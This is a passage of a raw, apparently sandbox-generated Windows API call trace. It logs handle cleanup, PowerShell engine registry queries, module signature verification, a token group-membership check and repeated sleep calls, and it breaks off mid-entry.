1 [0210.355] CloseHandle (hObject=0x674) returned 1 [0210.355] CloseHandle (hObject=0x920) returned 1 [0210.356] CloseHandle (hObject=0x848) returned 1 [0210.356] RegCloseKey (hKey=0x844) returned 0x0 [0210.357] CloseHandle (hObject=0x840) returned 1 [0210.357] RegCloseKey (hKey=0x83c) returned 0x0 [0210.357] RegCloseKey (hKey=0x838) returned 0x0 [0210.358] CloseHandle (hObject=0x820) returned 1 [0210.358] DeregisterEventSource (hEventLog=0x1ef707a0008) returned 1 [0210.406] setsockopt (s=0x814, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0210.407] closesocket (s=0x814) returned 0 [0210.407] CloseHandle (hObject=0x818) returned 1 [0210.407] CloseHandle (hObject=0x6a0) returned 1 [0210.408] CloseHandle (hObject=0x69c) returned 1 [0210.409] CloseHandle (hObject=0x6a4) returned 1 [0210.409] UnmapViewOfFile (lpBaseAddress=0x1ef705d0000) returned 1 [0210.409] CloseHandle (hObject=0x788) returned 1 [0210.410] CloseHandle (hObject=0x918) returned 1 [0210.410] CloseHandle (hObject=0x91c) returned 1 [0210.410] CloseHandle (hObject=0x9cc) returned 1 [0210.411] CloseHandle (hObject=0x9f4) returned 1 [0210.411] CloseHandle (hObject=0x9f0) returned 1 [0210.411] CloseHandle (hObject=0x9ec) returned 1 [0210.412] CloseHandle (hObject=0x9e8) returned 1 [0210.412] setsockopt (s=0x80c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0210.412] closesocket (s=0x80c) returned 0 [0210.413] CloseHandle (hObject=0x810) returned 1 [0210.413] CloseHandle (hObject=0x9e0) returned 1 [0210.413] CloseHandle (hObject=0x308) returned 1 [0210.414] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0210.414] setsockopt (s=0x900, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0210.415] closesocket (s=0x900) returned 0 [0210.415] CloseHandle (hObject=0x908) returned 1 [0210.416] LocalFree (hMem=0x1ef6e3d9f90) returned 0x0 [0210.416] CertFreeCertificateContext (pCertContext=0x1ef7031dff0) returned 1 [0210.417] CloseHandle (hObject=0x5a8) returned 1 [0210.417] setsockopt (s=0x90c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0210.418] closesocket (s=0x90c) returned 0 [0210.418] CloseHandle (hObject=0x910) returned 1 [0210.418] setsockopt (s=0x8f8, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0210.418] closesocket (s=0x8f8) returned 0 [0210.421] CoGetContextToken (in: pToken=0x5bfde7f410 | out: pToken=0x5bfde7f410) returned 0x0 [0210.421] CoGetContextToken (in: pToken=0x5bfde7f310 | out: pToken=0x5bfde7f310) returned 0x0 [0210.421] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x2 [0210.421] Release () returned 0x1 [0210.421] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 295 os_tid = 0xf64 Thread: id = 296 os_tid = 0x6bc Thread: id = 297 os_tid = 0x132c Thread: id = 298 os_tid = 0xb48 [0176.983] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0176.984] CoGetContextToken (in: pToken=0x5bfe07f5e0 | out: pToken=0x5bfe07f5e0) returned 0x0 [0176.984] CObjectContext::QueryInterface () returned 0x0 [0176.984] CObjectContext::GetCurrentThreadType () returned 0x0 [0176.984] Release () returned 0x0 [0176.984] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0176.985] CoUninitialize () [0176.985] RoInitialize () returned 0x1 [0176.985] RoUninitialize () returned 0x0 [0177.086] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x104, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0177.135] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x88 [0177.138] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x88, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0177.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfe07dc20) returned 1 [0177.139] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x5bfe07dd00 | out: lpFileInformation=0x5bfe07dd00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce8766, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x71ce8766, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x71d0e9d1, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x623400)) returned 1 [0177.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfe07dbe0) returned 1 [0177.139] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x5bfe07ddd8 | out: lpdwHandle=0x5bfe07ddd8) returned 0x94c [0177.147] GetFileVersionInfoW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x1ef00013fb0 | out: lpData=0x1ef00013fb0) returned 1 [0177.148] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x5bfe07dd58, puLen=0x5bfe07dd50 | out: lplpBuffer=0x5bfe07dd58*=0x1ef0001404c, puLen=0x5bfe07dd50) returned 1 [0177.148] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x5bfe07dcf8, puLen=0x5bfe07dcf0 | out: lplpBuffer=0x5bfe07dcf8*=0x1ef00014128, puLen=0x5bfe07dcf0) returned 1 [0177.148] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x5bfe07dcf8, puLen=0x5bfe07dcf0 | out: lplpBuffer=0x5bfe07dcf8*=0x1ef0001417c, puLen=0x5bfe07dcf0) returned 1 [0177.148] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x5bfe07dcf8, puLen=0x5bfe07dcf0 | out: lplpBuffer=0x5bfe07dcf8*=0x1ef000141d8, puLen=0x5bfe07dcf0) returned 1 [0177.148] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x5bfe07dcf8, puLen=0x5bfe07dcf0 | out: lplpBuffer=0x5bfe07dcf8*=0x1ef00014218, puLen=0x5bfe07dcf0) returned 1 [0177.148] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x5bfe07dcf8, puLen=0x5bfe07dcf0 | out: lplpBuffer=0x5bfe07dcf8*=0x1ef00014280, puLen=0x5bfe07dcf0) returned 1 [0177.148] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x5bfe07dcf8, puLen=0x5bfe07dcf0 | out: lplpBuffer=0x5bfe07dcf8*=0x1ef0001431c, puLen=0x5bfe07dcf0) returned 1 [0177.148] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x5bfe07dcf8, puLen=0x5bfe07dcf0 | out: lplpBuffer=0x5bfe07dcf8*=0x1ef00014380, puLen=0x5bfe07dcf0) returned 1 [0177.148] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x5bfe07dcf8, puLen=0x5bfe07dcf0 | out: lplpBuffer=0x5bfe07dcf8*=0x1ef000143fc, puLen=0x5bfe07dcf0) returned 1 [0177.148] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x5bfe07dcf8, puLen=0x5bfe07dcf0 | out: lplpBuffer=0x5bfe07dcf8*=0x1ef000140a4, puLen=0x5bfe07dcf0) returned 1 [0177.148] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x5bfe07dcf8, puLen=0x5bfe07dcf0 | out: lplpBuffer=0x5bfe07dcf8*=0x0, puLen=0x5bfe07dcf0) returned 0 [0177.149] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x5bfe07dcf8, puLen=0x5bfe07dcf0 | out: lplpBuffer=0x5bfe07dcf8*=0x0, puLen=0x5bfe07dcf0) returned 0 [0177.149] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x5bfe07dcf8, puLen=0x5bfe07dcf0 | out: lplpBuffer=0x5bfe07dcf8*=0x0, puLen=0x5bfe07dcf0) returned 0 [0177.149] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x5bfe07dca8, puLen=0x5bfe07dca0 | out: lplpBuffer=0x5bfe07dca8*=0x1ef0001404c, puLen=0x5bfe07dca0) returned 1 [0177.149] VerLanguageNameW (in: wLang=0x0, szLang=0x5bfe07d9d0, cchLang=0x100 | out: szLang="ニュートラル言語") returned 0x8 [0177.171] VerQueryValueW (in: pBlock=0x1ef00013fb0, lpSubBlock="\\", lplpBuffer=0x5bfe07dcf8, puLen=0x5bfe07dcf0 | out: lplpBuffer=0x5bfe07dcf8*=0x1ef00013fd8, puLen=0x5bfe07dcf0) returned 1 [0177.195] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07dd28 | out: phkResult=0x5bfe07dd28*=0x31c) returned 0x0 [0177.200] RegQueryValueExW (in: hKey=0x31c, lpValueName="ServiceStackVersion", lpReserved=0x0, lpType=0x5bfe07dd78, lpData=0x0, lpcbData=0x5bfe07dd70*=0x0 | out: lpType=0x5bfe07dd78*=0x1, lpData=0x0, lpcbData=0x5bfe07dd70*=0x8) returned 0x0 [0177.200] RegQueryValueExW (in: hKey=0x31c, lpValueName="ServiceStackVersion", lpReserved=0x0, lpType=0x5bfe07dd78, lpData=0x1ef000167b0, lpcbData=0x5bfe07dd70*=0x8 | out: lpType=0x5bfe07dd78*=0x1, lpData="3.0", lpcbData=0x5bfe07dd70*=0x8) returned 0x0 [0177.202] RegCloseKey (hKey=0x31c) returned 0x0 [0177.203] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07ec98 | out: phkResult=0x5bfe07ec98*=0x31c) returned 0x0 [0177.203] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfe07ece8, lpData=0x0, lpcbData=0x5bfe07ece0*=0x0 | out: lpType=0x5bfe07ece8*=0x1, lpData=0x0, lpcbData=0x5bfe07ece0*=0x56) returned 0x0 [0177.203] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfe07ece8, lpData=0x1ef00016b80, lpcbData=0x5bfe07ece0*=0x56 | out: lpType=0x5bfe07ece8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfe07ece0*=0x56) returned 0x0 [0177.204] RegCloseKey (hKey=0x31c) returned 0x0 [0177.206] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0177.206] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0177.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfe07ec60) returned 1 [0177.206] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5bfe07ed40 | out: lpFileInformation=0x5bfe07ed40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0177.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfe07ec20) returned 1 [0177.209] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0177.209] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0177.626] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07ebf8 | out: phkResult=0x5bfe07ebf8*=0x31c) returned 0x0 [0177.626] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfe07ec48, lpData=0x0, lpcbData=0x5bfe07ec40*=0x0 | out: lpType=0x5bfe07ec48*=0x1, lpData=0x0, lpcbData=0x5bfe07ec40*=0x56) returned 0x0 [0177.626] RegQueryValueExW (in: hKey=0x31c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfe07ec48, lpData=0x1ef0004e6d8, lpcbData=0x5bfe07ec40*=0x56 | out: lpType=0x5bfe07ec48*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfe07ec40*=0x56) returned 0x0 [0177.626] RegCloseKey (hKey=0x31c) returned 0x0 [0177.691] CoTaskMemAlloc (cb=0x20c) returned 0x1ef6e3beb10 [0177.694] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1ef6e3beb10 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0177.703] CoTaskMemFree (pv=0x1ef6e3beb10) [0177.703] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0177.703] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0177.704] CoTaskMemAlloc (cb=0x20c) returned 0x1ef6e3c0f30 [0177.704] SHGetFolderPathW (in: hwnd=0x0, csidl=41, hToken=0x0, dwFlags=0x0, pszPath=0x1ef6e3c0f30 | out: pszPath="C:\\WINDOWS\\SysWOW64") returned 0x0 [0177.704] CoTaskMemFree (pv=0x1ef6e3c0f30) [0177.704] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\SysWOW64", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0177.704] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\SysWOW64", nBufferLength=0x14, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\SysWOW64", lpFilePart=0x0) returned 0x13 [0177.704] CoTaskMemAlloc (cb=0x20c) returned 0x1ef6e3c1150 [0177.704] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ef6e3c1150 | out: pszPath="C:\\Program Files") returned 0x0 [0177.705] CoTaskMemFree (pv=0x1ef6e3c1150) [0177.705] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x11 [0177.705] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x11, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0177.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0177.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0177.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfe07eb40) returned 1 [0177.708] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5bfe07ec20 | out: lpFileInformation=0x5bfe07ec20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0177.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfe07eb00) returned 1 [0177.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0177.714] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0177.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfe07ead0) returned 1 [0177.715] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x394 [0177.716] GetFileType (hFile=0x394) returned 0x1 [0177.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfe07ea40) returned 1 [0177.716] GetFileType (hFile=0x394) returned 0x1 [0177.734] WTGetSignatureInfo () returned 0x0 [0179.256] CertDuplicateCertificateContext (pCertContext=0x1ef70378bd0) returned 0x1ef70378bd0 [0180.113] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07eb68 | out: phkResult=0x5bfe07eb68*=0x5cc) returned 0x0 [0180.114] RegQueryValueExW (in: hKey=0x5cc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfe07ebb8, lpData=0x0, lpcbData=0x5bfe07ebb0*=0x0 | out: lpType=0x5bfe07ebb8*=0x1, lpData=0x0, lpcbData=0x5bfe07ebb0*=0x56) returned 0x0 [0180.114] RegQueryValueExW (in: hKey=0x5cc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfe07ebb8, lpData=0x1ef0005fc18, lpcbData=0x5bfe07ebb0*=0x56 | out: lpType=0x5bfe07ebb8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfe07ebb0*=0x56) returned 0x0 [0180.114] RegCloseKey (hKey=0x5cc) returned 0x0 [0180.114] CoTaskMemAlloc (cb=0x10) returned 0x1ef70329970 [0180.115] CoTaskMemAlloc (cb=0x50) returned 0x1ef6e3e6250 [0180.116] WinVerifyTrust () returned 0x0 [0180.263] CoTaskMemFree (pv=0x1ef6e3e6250) [0180.263] CoTaskMemFree (pv=0x1ef70329970) [0180.263] CertFreeCertificateContext (pCertContext=0x1ef70378bd0) returned 1 [0180.265] CloseHandle (hObject=0x394) returned 1 [0180.268] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0180.415] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0180.509] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0180.581] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0180.665] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0180.759] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0180.852] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0180.993] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.051] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.068] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.116] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.205] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.343] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.407] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.454] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.501] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.548] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.595] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.610] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.655] GetCurrentProcess () returned 0xffffffffffffffff [0181.656] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x5bfe07ec28 | out: TokenHandle=0x5bfe07ec28*=0x5c8) returned 1 [0181.662] GetTokenInformation (in: TokenHandle=0x5c8, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x5bfe07ec88 | out: TokenInformation=0x0, ReturnLength=0x5bfe07ec88) returned 0 [0181.663] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1ef703119d0 [0181.663] GetTokenInformation (in: TokenHandle=0x5c8, TokenInformationClass=0x8, TokenInformation=0x1ef703119d0, TokenInformationLength=0x4, ReturnLength=0x5bfe07ec88 | out: TokenInformation=0x1ef703119d0, ReturnLength=0x5bfe07ec88) returned 1 [0181.665] LocalFree (hMem=0x1ef703119d0) returned 0x0 [0181.667] DuplicateTokenEx (in: hExistingToken=0x5c8, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x5bfe07ece8 | out: phNewToken=0x5bfe07ece8*=0x5bc) returned 1 [0181.667] CheckTokenMembership (in: TokenHandle=0x5bc, SidToCheck=0x1ef000a5c30*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x5bfe07ecf0 | out: IsMember=0x5bfe07ecf0) returned 1 [0181.667] CloseHandle (hObject=0x5bc) returned 1 [0181.668] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.705] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.739] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.740] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.740] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.741] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.763] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.764] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.765] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.766] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.772] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.773] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.775] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.892] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0181.939] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.020] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.031] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.032] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.034] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.095] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.141] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.188] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0182.235] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0183.666] GetEnvironmentVariableW (in: 